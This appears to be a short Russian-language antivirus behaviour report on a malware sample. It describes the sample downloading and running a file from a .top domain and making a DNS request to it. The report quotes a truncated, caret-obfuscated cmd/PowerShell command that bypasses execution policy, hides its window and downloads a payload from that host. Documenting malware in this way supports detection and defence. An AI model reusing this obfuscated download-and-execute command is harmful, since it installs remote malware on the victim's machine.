Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://roggistazli.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "POWErSH^E^lL.exE ^-exEc^uTI^O^N^Po^lICY BYPaS^s ^-nOprO^FiLE ^-W^In^D^owSTylE ^h^I^dD^e^N ^(^nEw-^ObJecT sySteM.^N^e^T.W^e^b^C^l^I^eN^t).dO^WN^loaD^f^I^Le('http://roggistazli...
Сетевая активность
UDP
- DNS ASK ro###stazli.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "POWErSH^E^lL.exE ^-exEc^uTI^O^N^Po^lICY BYPaS^s ^-nOprO^FiLE ^-W^In^D^owSTylE ^h^I^dD^e^N ^(^nEw-^ObJecT sySteM.^N^e^T.W^e^b^C^l^I^eN^t).dO^WN^loaD^f^I^Le('http://roggistazli...' (со скрытым окном)
